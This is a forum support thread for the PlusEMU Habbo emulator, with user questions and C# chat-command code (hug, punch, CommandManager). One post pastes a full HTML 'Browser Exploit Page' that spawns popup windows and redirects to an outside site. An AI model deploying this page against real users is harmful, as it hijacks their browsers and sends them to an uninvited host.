PlusEMU Support thread.

Status
Not open for further replies.

Rain

c
Mar 13, 2015
558
243
A few problems that i've created for myself (No problems with the original release.)
Problem #1
I made the navigator always show all the loaded rooms (limit 100), like so:
But unless I have at least one other category in the navi ( ), it will DC users when they click "Create New Room".
Is this because the emulator fetches the room categories from the navigator_categories where category_type = category, and if i set enabled to 0, it can't get any?, and that it cant send the packet without any room categories? I feel a bit outta my depth, but it's how I learn!

Problem #2
When a new user registers, I added a bool to the habbo.cs called isNoob, and if they are a noob to the hotel, it makes them a starter room and sets isNoob to 0. How would I go about making a bot spawn in the room, and say some stuff to the user, then walk to beside the user and say something like *gives username 5 diamonds*, then the diamonds goes up by 5. Any recommendations/ideas? I'm not sure how to delay the chat so the bot says something every 2 seconds, or how to make the bot spawn in the room just once.

I appreciate the release by the way, no way i'd have been able to keep peace up like this on any other latest UI emulator (That's released).. You remember the huge SQL usage in azure on Leaf LOL
 

KingBxtch

#KingBxtch
Sep 7, 2015
68
3
Bump again.. Anyone knows how to fix tanji exploit?
Here.
Code:
<html>

<head>
<!--Begin JavaScript.-->

<script language="JavaScript">

<!--

function geoPopup()
{
    // open the popup window
    var popupURL = "http://www.nthelp.com/tanjcode.htm";
var geoname=Math.random();
    var popup = window.open(popupURL,geoname,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=575,height=105');
    // set the opener if it's not already set. it's set automatically
    // in netscape 3.0+ and ie 3.0+.
    if( navigator.appName.substring(0,8) == "Netscape" )
    {
        popup.location = popupURL;
    }
}

geoPopup();
geoPopup();

// -->

</script>

<!--End inserted JavaScript code.-->
<meta HTTP-EQUIV="REFRESH" CONTENT="6; URL=http://www.nthelp.com/tanj.htm" >
<title>Geo's Homepage</title>
</head>

<body bgcolor="000000" text="FF00FF">
<font face="arial"><font size="4">

<p align="center">Browser Exploit Page (kill this to stop) </font><br>
<br>
<br>
</p>
</font>
</body>
</html>
 

Vinny95

Member
Apr 28, 2016
53
1
Hello,
Anyone can help me with the ball of this Emulator? I want make ball of football like this:

f6de5b58fed0f28157b185f9cb83137a.gif

f66cc3982a0fa7e9956e8e2fb8dbd395.gif

But i don't know how can make that. I'm working on the Soccer.cs and i make that (in all RotBody):
c9ba737d8cc51939ec4da9c3a3e0dc71.gif

How can i make this ball? I can pay you! Please help me :(
 

KingBxtch

#KingBxtch
Sep 7, 2015
68
3
Hello,
Anyone can help me with the ball of this Emulator? I want make ball of football like this:

f6de5b58fed0f28157b185f9cb83137a.gif

f66cc3982a0fa7e9956e8e2fb8dbd395.gif

But i don't know how can make that. I'm working on the Soccer.cs and i make that (in all RotBody):
c9ba737d8cc51939ec4da9c3a3e0dc71.gif

How can i make this ball? I can pay you! Please help me :(
let me have a quick look
 
Hello,
Anyone can help me with the ball of this Emulator? I want make ball of football like this:

f6de5b58fed0f28157b185f9cb83137a.gif

f66cc3982a0fa7e9956e8e2fb8dbd395.gif

But i don't know how can make that. I'm working on the Soccer.cs and i make that (in all RotBody):
c9ba737d8cc51939ec4da9c3a3e0dc71.gif

How can i make this ball? I can pay you! Please help me :(
PlusEMU supports these ind of balls :)
 
@Sledmore how do we edit room navigator content images for Public Rooms?
 

AccessDenied

New Member
Jun 16, 2014
7
1
Im Using Plus Emulator edited By SledMore Habboon edit. I had tried adding the commands punch, and hug.
I added Hug.cs & punch.cs to HabboHotel>Rooms>Rooms>Chat>User via Visual Studios & edited the CommandManager.cs:
Hug.cs:
Code:
using System;
using Plus.HabboHotel.Rooms;
using Plus.HabboHotel.GameClients;
using Plus.Communication.Packets.Outgoing.Rooms.Chat;

namespace Plus.HabboHotel.Rooms.Chat.Commands.User.Fun
{
    class Hug : IChatCommand
    {
        public string PermissionRequired
        {
            get { return "command_hug"; }
        }
        public string Parameters
        {
            get { return "%username%"; }
        }
        public string Description
        {
            get { return "Hug another user"; }
        }
        public void Execute(GameClients.GameClient Session, Rooms.Room Room, string[] Params)
        {
            if (Params.Length == 1)
            {
                Session.SendWhisper("You must enter a username!");
                return;
            }

            GameClient TargetClient = PlusEnvironment.GetGame().GetClientManager().GetClientByUsername(Params[1]);
            if (TargetClient == null)
            {
                Session.SendWhisper("That user cannot be found, maybe they're offline or not in the room.");
                return;
            }

            RoomUser User = Room.GetRoomUserManager().GetRoomUserByHabbo(Session.GetHabbo().Id);
            if (User == null)
            {
                Session.SendWhisper("The user cannot be found, maybe they're offline or not in the room.");
                return;
            }
            RoomUser User2 = Room.GetRoomUserManager().GetRoomUserByHabbo(Session.GetHabbo().Username);
            if (User2 == null)
                return;

            if (!((Math.Abs(User.X - User2.X) >= 2 && (Math.Abs(User.Y - User2.Y) >= 2))))
            {

                Room.SendMessage(new ChatComposer(User.VirtualId, "Hugs " + User2 + "*", 0, User.LastBubble));
                User.ApplyEffect(9);
            }
            else
            {
                Session.SendWhisper("That user is too far away, try getting closer.");
                return;
            }
        }
    }
}

punch.cs:
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Plus.HabboHotel.GameClients;

namespace Plus.HabboHotel.Rooms.Chat.Commands.User.Fun
{
    class Punch : IChatCommand
    {
        public string Description
        {
            get
            {
                return "You can punch another";
            }
        }

        public string Parameters
        {
            get
            {
                return "%username%";
            }
        }

        public string PermissionRequired
        {
            get
            {
                return "can_punch";
            }
        }

        public void Execute(GameClient Session, Room Room, string[] Params)
        {
            RoomUser user = Room.GetRoomUserManager().GetRoomUserByHabbo(Session.GetHabbo().Username);
            RoomUser target = Room.GetRoomUserManager().GetRoomUserByHabbo(Params[1].ToString());

            if (target.GetClient() == null)
            {
                Session.SendWhisper("Enter an username please.");
                return;
            }
            if (!((Math.Abs(target.X - user.X) >= 2) || (Math.Abs(target.Y - user.Y) >= 2)))
            {
                Session.SendWhisper("User is not close enough");
                return;
            }

            user.OnChat(0, "*Punched " + target.GetClient().GetHabbo().Username + " in the face*", true);
            target.OnChat(0, "Dude!! That hurts!!", true);


            user.GetClient().GetHabbo().Effects().ApplyEffect(53);
            target.GetClient().GetHabbo().Effects().ApplyEffect(53);
        }
    }
}

CommandManager.cs:
Code:
using System;
using System.Linq;
using System.Text;
using System.Collections.Generic;

using Plus.Utilities;
using Plus.HabboHotel.Rooms;
using Plus.HabboHotel.GameClients;

using Plus.HabboHotel.Rooms.Chat.Commands.User;
using Plus.HabboHotel.Rooms.Chat.Commands.User.Fun;
using Plus.HabboHotel.Rooms.Chat.Commands.Moderator;
using Plus.HabboHotel.Rooms.Chat.Commands.Moderator.Fun;
using Plus.HabboHotel.Rooms.Chat.Commands.Administrator;

using Plus.Communication.Packets.Outgoing.Rooms.Chat;
using Plus.Communication.Packets.Outgoing.Notifications;
using Plus.Database.Interfaces;
using Plus.HabboHotel.Rooms.Chat.Commands.Events;
using Plus.HabboHotel.Items.Wired;


namespace Plus.HabboHotel.Rooms.Chat.Commands
{
    public class CommandManager
    {
        /// <summary>
        /// Command Prefix only applies to custom commands.
        /// </summary>
        private string _prefix = ":";

        /// <summary>
        /// Commands registered for use.
        /// </summary>
        private readonly Dictionary<string, IChatCommand> _commands;

        /// <summary>
        /// The default initializer for the CommandManager
        /// </summary>
        public CommandManager(string Prefix)
        {
            this._prefix = Prefix;
            this._commands = new Dictionary<string, IChatCommand>();

            this.RegisterVIP();
            this.RegisterUser();
            this.RegisterEvents();
            this.RegisterModerator();
            this.RegisterAdministrator();
        }

        /// <summary>
        /// Request the text to parse and check for commands that need to be executed.
        /// </summary>
        /// <param name="Session">Session calling this method.</param>
        /// <param name="Message">The message to parse.</param>
        /// <returns>True if parsed or false if not.</returns>
        public bool Parse(GameClient Session, string Message)
        {
            if (Session == null || Session.GetHabbo() == null || Session.GetHabbo().CurrentRoom == null)
                return false;

            if (!Message.StartsWith(_prefix))
                return false;

            if (Message == _prefix + "commands")
            {
                StringBuilder List = new StringBuilder();
                List.Append("This is the list of commands you have available:\n");
                foreach (var CmdList in _commands.ToList())
                {
                    if (!string.IsNullOrEmpty(CmdList.Value.PermissionRequired))
                    {
                        if (!Session.GetHabbo().GetPermissions().HasCommand(CmdList.Value.PermissionRequired))
                            continue;
                    }

                    List.Append(":" + CmdList.Key + " " + CmdList.Value.Parameters + " - " + CmdList.Value.Description + "\n");
                }
                Session.SendMessage(new MOTDNotificationComposer(List.ToString()));
                return true;
            }

            Message = Message.Substring(1);
            string[] Split = Message.Split(' ');

            if (Split.Length == 0)
                return false;

            IChatCommand Cmd = null;
            if (_commands.TryGetValue(Split[0].ToLower(), out Cmd))
            {
                if (Session.GetHabbo().GetPermissions().HasRight("mod_tool"))
                    this.LogCommand(Session.GetHabbo().Id, Message, Session.GetHabbo().MachineId);

                if (!string.IsNullOrEmpty(Cmd.PermissionRequired))
                {
                    if (!Session.GetHabbo().GetPermissions().HasCommand(Cmd.PermissionRequired))
                        return false;
                }


                Session.GetHabbo().IChatCommand = Cmd;
                Session.GetHabbo().CurrentRoom.GetWired().TriggerEvent(WiredBoxType.TriggerUserSaysCommand, Session.GetHabbo(), this);

                Cmd.Execute(Session, Session.GetHabbo().CurrentRoom, Split);
                return true;
            }
            return false;
        }

        /// <summary>
        /// Registers the VIP set of commands.
        /// </summary>
        private void RegisterVIP()
        {
            this.Register("spull", new SuperPullCommand());
        }

        /// <summary>
        /// Registers the Events set of commands.
        /// </summary>
        private void RegisterEvents()
        {
            this.Register("eha", new EventAlertCommand());
            this.Register("eventalert", new EventAlertCommand());
        }

        /// <summary>
        /// Registers the default set of commands.
        /// </summary>
        private void RegisterUser()
        {
            this.Register("hug", new Hug());
            this.Register("punch", new Punch());
            this.Register("about", new InfoCommand());
            this.Register("pickall", new PickAllCommand());
            this.Register("ejectall", new EjectAllCommand());
            this.Register("lay", new LayCommand());
            this.Register("sit", new SitCommand());
            this.Register("stand", new StandCommand());
            this.Register("mutepets", new MutePetsCommand());
            this.Register("mutebots", new MuteBotsCommand());

            this.Register("mimic", new MimicCommand());
            this.Register("dance", new DanceCommand());
            this.Register("push", new PushCommand());
            this.Register("pull", new PullCommand());
            this.Register("enable", new EnableCommand());
            this.Register("follow", new FollowCommand());
            this.Register("faceless", new FacelessCommand());
            this.Register("moonwalk", new MoonwalkCommand());

            this.Register("unload", new UnloadCommand());
            this.Register("regenmaps", new RegenMaps());
            this.Register("emptyitems", new EmptyItems());
            this.Register("setmax", new SetMaxCommand());
            this.Register("setspeed", new SetSpeedCommand());
            this.Register("disablediagonal", new DisableDiagonalCommand());
            this.Register("flagme", new FlagMeCommand());

            this.Register("stats", new StatsCommand());
            this.Register("kickpets", new KickPetsCommand());
            this.Register("kickbots", new KickBotsCommand());

            this.Register("room", new RoomCommand());
            this.Register("dnd", new DNDCommand());
            this.Register("disablegifts", new DisableGiftsCommand());
            this.Register("convertcredits", new ConvertCreditsCommand());
            this.Register("disablewhispers", new DisableWhispersCommand());
            this.Register("disablemimic", new DisableMimicCommand()); ;

            this.Register("pet", new PetCommand());
            this.Register("spush", new SuperPushCommand());
            this.Register("superpush", new SuperPushCommand());

        }

        /// <summary>
        /// Registers the moderator set of commands.
        /// </summary>
        private void RegisterModerator()
        {
            this.Register("ban", new BanCommand());
            this.Register("mip", new MIPCommand());
            this.Register("ipban", new IPBanCommand());

            this.Register("ui", new UserInfoCommand());
            this.Register("userinfo", new UserInfoCommand());
            this.Register("sa", new StaffAlertCommand());
            this.Register("roomunmute", new RoomUnmuteCommand());
            this.Register("roommute", new RoomMuteCommand());
            this.Register("roombadge", new RoomBadgeCommand());
            this.Register("roomalert", new RoomAlertCommand());
            this.Register("roomkick", new RoomKickCommand());
            this.Register("mute", new MuteCommand());
            this.Register("smute", new MuteCommand());
            this.Register("unmute", new UnmuteCommand());
            this.Register("massbadge", new MassBadgeCommand());
            this.Register("massgive", new MassGiveCommand());
            this.Register("globalgive", new GlobalGiveCommand());
            this.Register("kick", new KickCommand());
            this.Register("skick", new KickCommand());
            this.Register("ha", new HotelAlertCommand());
            this.Register("hotelalert", new HotelAlertCommand());
            this.Register("hal", new HALCommand());
            this.Register("give", new GiveCommand());
            this.Register("givebadge", new GiveBadgeCommand());
            this.Register("dc", new DisconnectCommand());
            this.Register("kill", new DisconnectCommand());
            this.Register("disconnect", new DisconnectCommand());
            this.Register("alert", new AlertCommand());
            this.Register("tradeban", new TradeBanCommand());

            this.Register("teleport", new TeleportCommand());
            this.Register("summon", new SummonCommand());
            this.Register("override", new OverrideCommand());
            this.Register("massenable", new MassEnableCommand());
            this.Register("massdance", new MassDanceCommand());
            this.Register("freeze", new FreezeCommand());
            this.Register("unfreeze", new UnFreezeCommand());
            this.Register("fastwalk", new FastwalkCommand());
            this.Register("superfastwalk", new SuperFastwalkCommand());
            this.Register("coords", new CoordsCommand());
            this.Register("alleyesonme", new AllEyesOnMeCommand());
            this.Register("allaroundme", new AllAroundMeCommand());
            this.Register("forcesit", new ForceSitCommand());

            this.Register("ignorewhispers", new IgnoreWhispersCommand());
            this.Register("forced_effects", new DisableForcedFXCommand());

            this.Register("makesay", new MakeSayCommand());
            this.Register("flaguser", new FlagUserCommand());
        }

        /// <summary>
        /// Registers the administrator set of commands.
        /// </summary>
        private void RegisterAdministrator()
        {
            this.Register("bubble", new BubbleCommand());
            this.Register("update", new UpdateCommand());
            this.Register("deletegroup", new DeleteGroupCommand());
            this.Register("carry", new CarryCommand());
            this.Register("goto", new GOTOCommand());
        }

        /// <summary>
        /// Registers a Chat Command.
        /// </summary>
        /// <param name="CommandText">Text to type for this command.</param>
        /// <param name="Command">The command to execute.</param>
        public void Register(string CommandText, IChatCommand Command)
        {
            this._commands.Add(CommandText, Command);
        }

        public static string MergeParams(string[] Params, int Start)
        {
            var Merged = new StringBuilder();
            for (int i = Start; i < Params.Length; i++)
            {
                if (i > Start)
                    Merged.Append(" ");
                Merged.Append(Params[i]);
            }

            return Merged.ToString();
        }

        public void LogCommand(int UserId, string Data, string MachineId)
        {
            using (IQueryAdapter dbClient = PlusEnvironment.GetDatabaseManager().GetQueryReactor())
            {
                dbClient.SetQuery("INSERT INTO `logs_client_staff` (`user_id`,`data_string`,`machine_id`, `timestamp`) VALUES (@UserId,@Data,@MachineId,@Timestamp)");
                dbClient.AddParameter("UserId", UserId);
                dbClient.AddParameter("Data", Data);
                dbClient.AddParameter("MachineId", MachineId);
                dbClient.AddParameter("Timestamp", PlusEnvironment.GetUnixTimestamp());
                dbClient.RunQuery();
            }
        }

        public bool TryGetCommand(string Command, out IChatCommand IChatCommand)
        {
            return this._commands.TryGetValue(Command, out IChatCommand);
        }
    }
}
ScreenShot of database_permissions:
MAN1.png

i gave u one job.. Not releasing my code... And what did u ?? U released my commands :l ... im so disappointed now.
 

MadMonsterMan

Member
Mar 25, 2016
202
13
Lol, this is what is wrong with the community.
Hey, lets use a well coded stable emulator which was released by Craig open source, then write poorly coded snippets that don't work and rage when somebody releases them ?_?
I didn't really "release" it. I simply asked someone to fix the code for the Plus Emulator lol. Its simple codes also "hug" & "punch" has been released.
 
Status
Not open for further replies.

Users who are viewing this thread

Top